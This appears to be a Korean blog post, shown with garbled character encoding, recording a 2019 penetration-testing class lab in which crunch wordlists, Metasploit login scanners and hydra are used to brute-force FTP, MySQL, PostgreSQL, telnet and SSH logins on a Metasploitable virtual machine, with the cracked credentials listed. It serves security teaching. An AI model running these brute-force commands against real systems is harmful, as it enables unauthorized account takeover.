! ์ด ํฌ์คํธ์ ๋ด์ฉ์ 2019๋ ์ ๊ณต ๊ฐ์์์ ๋ค๋ฃฌ ๋ฆฌ๋ ์ค ๋ณด์ ์ค์ต์ ๊ธฐ๋ก์ฉ์ด๋ฉฐ, ์ด๋ ํ์ต ๋ชฉ์ ์ผ๋ก๋ง ์ฌ์ฉ๋์ด์ผ ํฉ๋๋ค.
! ์ด๋ ํ ๊ฒฝ์ฐ์๋ ์ด๋ฌํ ๊ธฐ์ ์ ์ ์ฉํ๊ฑฐ๋ ๋ถ๋ฒ์ ์ธ ํ๋์ ์ฌ์ฉํด์๋ ์ ๋ฉ๋๋ค.
! ๋ชจ์ ํดํน๊ณผ ๊ด๋ จ๋ ์ค์ต์ ํฉ๋ฒ์ ์ธ ํ๊ฒฝ์์๋ง ์ํ๋์ด์ผ ํ๋ฉฐ, ๋ฌด๋จ์ผ๋ก ๋ค๋ฅธ ์ฌ๋์ ์์คํ ์ ์ ๊ทผํ๋ ๋ฑ์ ํ์๋ ๋ฒ์ ์ธ ๋ฌธ์ ๋ก ์ด์ด์ง ์ ์์ต๋๋ค. ์ด๋ฌํ ๊ธฐ์ ์ ์ฌ์ฉํ ๋์๋ ํญ์ ์ค๋ฆฌ์ ์ธ ์ฑ ์์ ๊ฐ๊ณ ํ๋ํด์ผ ํฉ๋๋ค.
1๏ธโฃ ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ์ด๋?
๊ฐ๋ฅํ ๋ชจ๋ ์กฐํฉ์ ํค๋ ๋น๋ฐ๋ฒํธ๋ฅผ ์ฒด๊ณ์ ์ผ๋ก ์๋ํ์ฌ ์ฌ๋ฐ๋ฅธ ๊ฐ์ ์ฐพ์๋ด๋ ๋ฐฉ์์ด๋ค.
์ด ๊ณต๊ฒฉ์ ๋จ์ํ์ง๋ง, ๊ฐ๋ ฅํ ์ํธํ ๋๋ ์ถฉ๋ถํ ๊ธด ๋น๋ฐ๋ฒํธ๋ฅผ ์ฌ์ฉํ๋ ๊ฒฝ์ฐ ์๊ฐ๊ณผ ์์ ๋ฉด์์ ๋นํจ์จ์ ์ผ ์ ์๋ค.
2๏ธโฃ ์ค์ต ํ๊ฒฝ
์ค์ต์์๋ ๋ชจ์ ์นจํฌ ์ฐ์ต์ ์ํด Metasploitable์ ์ฌ์ฉํ๋ค.
Metasploitable์ ๋ณด์ ์ฐ๊ตฌ ๋ฐ ๊ต์ก ๋ชฉ์ ์ผ๋ก ์ฌ์ฉ๋๋ ์ทจ์ฝํ ๊ฐ์ ๋จธ์ ์ด๋ค.
Metasploitable์ ์๋์ ์ผ๋ก ์ฌ๋ฌ ๋ณด์ ์ทจ์ฝ์ ์ ํฌํจํ๊ณ ์์ด, ์ค์ ํ๊ฒฝ์์ ํดํน ์ฐ์ต์ ํ๊ณ ๋ณด์ ํด์ ํ ์คํธํ๋ ๋ฐ ์ ์ฉํ๋ค.
๐น 1. root ๊ณ์ password ์ค์
๐น 2. MySQL ๋ฐ์ดํฐ๋ฒ ์ด์ค root ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ
~$ mysql -u root -p
> use mysql;
> update user set password=password('1234') where user='root';
> flush privileges;
3๏ธโฃ Crunch ๊ธฐ๋ฅ์ ์ด์ฉํ์ฌ ๊ณต๊ฒฉ์ฉ ํจ์ค์๋ ์์ฑ
๐น1. charset.lst ํ์ผ ๋ด์ฉ ํ์ธํ๊ธฐ
``charset.lst`` ํ์ผ์ Crunch์์ ์ฌ์ฉํ ์ ์๋ ๋ฏธ๋ฆฌ ์ ์๋ ๋ฌธ์ ์ธํธ๋ฅผ ์ ์ฅํ ํ์ผ์ด๋ค. ์ด ํ์ผ์ ํ์ธํ๋ฉด ํน์ ์ธ์ด๋ ํจํด์ ๋ง๋ ๋ฌธ์ ์ธํธ๋ฅผ ์ฝ๊ฒ ๋ถ๋ฌ์์ ์ฌ์ฉํ ์ ์๋ค.
~# cat /usr/share/crunch/charset.lst
๐น2. ํจ์ค์๋ ๋ฆฌ์คํธ ์์ฑ
- crunch ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ฌ ์ซ์๋ก ๊ตฌ์ฑ๋ 1~6์๋ฆฌ ๊ธธ์ด์ ๋ชจ๋ ๊ฐ๋ฅํ ๋น๋ฐ๋ฒํธ ์กฐํฉ์ ์์ฑ
- ์์ฑ ๊ฒฐ๊ณผ๋ฅผ ํ์ผ๋ก ์ ์ฅ
- ํ์ผ์๋ 0๋ถํฐ 999999๊น์ง์ ๋น๋ฐ๋ฒํธ๊ฐ ์ ์ฅ ๋จ
~# crunch 1 6 -f /usr/share/crunch/charset.lst numeric -o /root/passwords_6.txt
- ``crunch 1 6`` → ์ต์ 1์๋ฆฌ, ์ต๋ 6์๋ฆฌ ์กฐํฉ ์์ฑ
- ``-f /usr/share/crunch/charset.lst numeric`` → ์ซ์(``0123456789``)๋ง ์ฌ์ฉ
- ``-o /root/passwords_6.txt`` → ๊ฒฐ๊ณผ๋ฅผ ``/root/passwords_6.txt`` ํ์ผ์ ์ ์ฅ
๐น2. ํจ์ค์๋ ํ์ผ์ postgres ํจ์ค์๋ ์ถ๊ฐ
- cat ๋ช ๋ น์ด๋ก ํจ์ค์๋ ํ์ผ์ postgres ํจ์ค์๋๋ฅผ ์ถ๊ฐํ๋ค.
~# cat >> /root/passwords_6.txt
- 0๋ถํฐ 999999๊น์ง ์ซ์๋ฅผ ๋ชจ๋ ๋์ ํ๊ธฐ์๋ ๋ง์ ์๊ฐ์ด ๊ฑธ๋ฆฌ๋ฏ๋ก ์ฌ๊ธฐ์๋ ๋น ๋ฅธ ์ค์ต์ ์ํด ๊ฐ๋จํ ํจ์ค์๋ ํ์ผ์ ์์ฑํ๋ค.
๐น3. ID ๋ฆฌ์คํธ ํ์ผ ์์ฑ
- user.txt๋ผ๋ ์ด๋ฆ์ ๊ณต๊ฒฉ ๋์ ID๊ฐ ์ ์ฅ๋ ํ์ผ์ ์์ฑํ๋ค.
4๏ธโฃ Metasploitable FTP ์๋ฒ ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ (Msfconsole ์ด์ฉ)
- FTP ๋ก๊ทธ์ธ ์๋๋ฅผ ์๋ํํ๋ ๊ณผ์
- ์ค์บ๋๋ฅผ ์ฌ์ฉํ์ฌ ์ฃผ์ด์ง ์ฌ์ฉ์๋ช ๊ณผ ๋น๋ฐ๋ฒํธ ๋ฆฌ์คํธ๋ฅผ ํตํด ์ง์ ๋ FTP ์๋ฒ์ ๋ํด ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ ์ํ
> use auxiliary/scanner/ftp/ftp_login
> set rhosts 192.168.255.148
> set user_file /root/users.txt
> set pass_file /root/password_short.txt
> set stop_on_success true
> set threads 256
> run
- ``use auxiliary/scanner/ftp/ftp_login`` : FTP ๋ก๊ทธ์ธ ์๋๋ฅผ ์ํ ์ค์บ๋ ๋ชจ๋์ ์ ํ
- ``set rhosts 192.168.255.148`` : ๊ณต๊ฒฉ ๋์ IP ์ฃผ์๋ฅผ ์ค์
- ``set user_file /root/users.txt`` : ์์์ ์์ฑํ๋ ๊ณต๊ฒฉ๋์ ID ๋ฆฌ์คํธ๊ฐ ํฌํจ๋ ํ์ผ์ ๊ฒฝ๋ก๋ฅผ ์ค์
- ``set pass_file /root/password_short.txt`` : ์์์ ์์ฑํ๋ ๋น๋ฐ๋ฒํธ ํ์ผ์ ๊ฒฝ๋ก๋ฅผ ์ค์
- ``set stop_on_success true`` : ๋ก๊ทธ์ธ ๊ณต๊ฒฉ์ ์ฑ๊ณตํ๋ฉด ๊ณต๊ฒฉ์ ์ค์งํ๋๋ก ์ค์
- ``set threads 256`` : ์ค๋ ๋ ์ ์ค์
- ``run`` :์คํ
- ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ ์ค ID๋ postgres, ํจ์ค์๋๋ postgres๋ก ๋ก๊ทธ์ธ์ด ์ฑ๊ณตํ์ฌ ์ข ๋ฃ๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
5๏ธโฃ ๋ค๋ฅธ ์๋ฒ๋ค ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ
FTP ์๋ฒ ์ธ์๋ ๋ค๋ฅธ ์๋ฒ๋ค๋ก ๋ฌด์ฐจ๋ณ ๋์ ์ ํตํด ๊ณต๊ฒฉ์ ์ํํด ๋ณด์๋ค.
๐น1. Metasploitable MySQL ์๋ฒ ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ (Msfconsole ์ด์ฉ)
- MySQL ์๋ฒ
- ๋ช ๋ น์ด๋ ๋์ผ
- ์ค์บ๋ ๋ชจ๋ ์ ํ ์ ``mysql/mysql_login`` ๋ชจ๋์ ์ ํํ๊ณ , ``3306``์ผ๋ก ํฌํธ๋ฅผ ์ง์
> use auxiliary/scanner/mysql/mysql_login
> set rhosts 192.168.255.148
> set rport 3306
> set user_file /root/users.txt
> set pass_file /root/password_short.txt
> set stop_on_success true
> set threads 256
> run
- ๋ช ๋ น์ด ์คํํ์ฌ ๊ณต๊ฒฉ ์คํ
- ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ ์ค ID๋ root, ํจ์ค์๋๋ 1234๋ก ๋ก๊ทธ์ธ์ด ์ฑ๊ณตํ์ฌ ์ข ๋ฃ๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
๐น2. Metasploitable postgreSQL ์๋ฒ ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ (Msfconsole ์ด์ฉ)
- postgreSQL ์๋ฒ
- ๋ช ๋ น์ด๋ ๋์ผ
- ์ค์บ๋ ๋ชจ๋ ์ ํ ์ ``postgres/postgres_login`` ๋ชจ๋์ ์ ํํ๊ณ , ``5432``๋ก ํฌํธ๋ฅผ ์ง์
> use auxiliary/scanner/postgres/postgres_login
> set rhosts 192.168.255.148
> set rport 5432
> set user_file /root/users.txt
> set pass_file /root/password_short.txt
> set stop_on_success true
> set threads 256
> run
- ๋ช ๋ น์ด ์คํํ์ฌ ๊ณต๊ฒฉ ์คํ
- ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ ์ค ID๋ postgres, ํจ์ค์๋๋ postgres@template1๋ก ๋ก๊ทธ์ธ์ด ์ฑ๊ณตํ์ฌ ์ข ๋ฃ๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
๐น3. Metasploitable telnet ์๋ฒ ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ (Msfconsole ์ด์ฉ)
- telnet ์๋ฒ
- ๋ช ๋ น์ด๋ ๋์ผ
- ์ค์บ๋ ๋ชจ๋ ์ ํ ์ ``telnet/telnet_login`` ๋ชจ๋์ ์ ํ. ํฌํธ๋ ๊ธฐ๋ณธํฌํธ(``23``)๋ก ์๋์ผ๋ก ์ค์บ๋จ.
> use auxiliary/scanner/telnet/telnet_login
> set rhosts 192.168.255.148
> set user_file /root/users.txt
> set pass_file /root/password_short.txt
> set stop_on_success true
> set threads 256
> run
- ๋ช ๋ น์ด ์คํํ์ฌ ๊ณต๊ฒฉ ์คํ
- ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ ์ค ID๋ root, ํจ์ค์๋๋ 123456์ผ๋ก ๋ก๊ทธ์ธ์ด ์ฑ๊ณตํ์ฌ ์ข ๋ฃ๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
๐น4. Metasploitable SSH ์๋ฒ ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ (Msfconsole ์ด์ฉ)
- SSH ์๋ฒ
- ๋ช ๋ น์ด๋ ๋์ผ
- ์ค์บ๋ ๋ชจ๋ ์ ํ ์ ``ssh/ssh_login`` ๋ชจ๋์ ์ ํ. ํฌํธ๋ ๊ธฐ๋ณธํฌํธ(``22``)๋ก ์๋์ผ๋ก ์ค์บ๋จ.
> use auxiliary/scanner/ssh/ssh_login
> set rhosts 192.168.255.148
> set user_file /root/users.txt
> set pass_file /root/password_short.txt
> set stop_on_success true
> set threads 256
> run
- ๋ช ๋ น์ด ์คํํ์ฌ ๊ณต๊ฒฉ ์คํ
- ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ ์ค ID๋ root, ํจ์ค์๋๋ 123456์ผ๋ก ๋ก๊ทธ์ธ์ด ์ฑ๊ณตํ์ฌ ์ข ๋ฃ๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
๐น5. Metasploitable FTP ์๋ฒ ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ (hydra ์ด์ฉ)
- hydra๋ฅผ ์ด์ฉํ FTP ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ
~# hydra -l postgrs -P /root/password_short.txt -f 192.168.255.148 ftp
- ``-L postgrs``: ์ฌ์ฉ์ ์ด๋ฆ์ ํ๋๋ง ์ง์ ํ๋ ์ต์ . ``postgres``๋ผ๋ ์ฌ์ฉ์๋ฅผ ๋์์ผ๋ก ๊ณต๊ฒฉ ์ํ.
- ``-P /root/password_short.txt``: ๋น๋ฐ๋ฒํธ ๋ฆฌ์คํธ. ์ด ํ์ผ์ ๋ค์ด์๋ ๋น๋ฐ๋ฒํธ๋ค๋ก ์์ฐจ์ ์ผ๋ก ์๋.
- ``-f```: ์ฒซ ๋ฒ์งธ ์ฑ๊ณต ์๋ ํ ๊ณต๊ฒฉ์ ๋ฉ์ถ๋ ์ต์ (๋ก๊ทธ์ธ ์ฑ๊ณต ์ ์ฆ์ ์ข ๋ฃ)
- ``192.168.255.148``: ๊ณต๊ฒฉ ๋์ IP (Metasploitable ์์คํ )
- ``ftp``: FTP ํ๋กํ ์ฝ์ ๋์์ผ๋ก ํ๋ ๊ณต๊ฒฉ.
- ๋ช ๋ น์ด ์คํํ์ฌ ๊ณต๊ฒฉ ์คํ
- ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ ์ค ID๋ postgres, ํจ์ค์๋๋ postgres์ผ๋ก ๋ก๊ทธ์ธ์ด ์ฑ๊ณตํ์ฌ ์ข ๋ฃ๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
๐น6. Metasploitable SSH ์๋ฒ ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ (hydra ์ด์ฉ)
- hydra๋ฅผ ์ด์ฉํ SSH ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ
- ๋ช ๋ น์ด๋ ๋์ผ
- ๋ง์ง๋ง ์ต์ ``ssh``๋ก ์ง์
~# hydra -l root -P /root/password_short.txt -f 192.168.255.148 ssh
- ๋ช ๋ น์ด ์คํํ์ฌ ๊ณต๊ฒฉ ์คํ
- ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ ์ค ID๋ root, ํจ์ค์๋๋ 123456์ผ๋ก ๋ก๊ทธ์ธ์ด ์ฑ๊ณตํ์ฌ ์ข ๋ฃ๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
๐น7. Metasploitable telnet ์๋ฒ ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ (hydra ์ด์ฉ)
- hydra๋ฅผ ์ด์ฉํ SSH ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ
- ๋ช ๋ น์ด๋ ๋์ผ
- ๋ง์ง๋ง ์ต์ ``telnet``๋ก ์ง์
~# hydra -l root -P /root/password_short.txt -f 192.168.255.148 telnet
- ๋ช ๋ น์ด ์คํํ์ฌ ๊ณต๊ฒฉ ์คํ
- ๋ฌด์ฐจ๋ณ ๋์ ๊ณต๊ฒฉ ์ค ID๋ root, ํจ์ค์๋๋ 123456์ผ๋ก ๋ก๊ทธ์ธ์ด ์ฑ๊ณตํ์ฌ ์ข ๋ฃ๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
'๐ฆน Pentesting > ์ค์ต 2019' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[๋ชจ์ํดํน] Windows 2000 ๊ธฐ๋ฐ์ ์ด์์ฒด์ ์นจํฌํ๊ธฐ (0) | 2025.02.10 |
---|---|
[๋ชจ์ํดํน] ์ ๋์ค/๋ฆฌ๋ ์ค ๊ธฐ๋ฐ์ ์ด์์ฒด์ ์นจํฌ (0) | 2025.02.06 |
[๋ชจ์ ํดํน] ๋ฒํผ ์ค๋ฒํ๋ก์ฐ ๊ณต๊ฒฉ ์ค์ต (0) | 2024.06.03 |
[๋ชจ์ ํดํน] ์๋์ฐ8 ์ฌ๋ถํ ์ ์ ์ฑ์ฝ๋ ์คํ (0) | 2024.03.05 |
[๋ชจ์ ํดํน] ์๋์ฐ8/์๋์ฐ10 OS ์นจํฌ ์์ (0) | 2024.03.05 |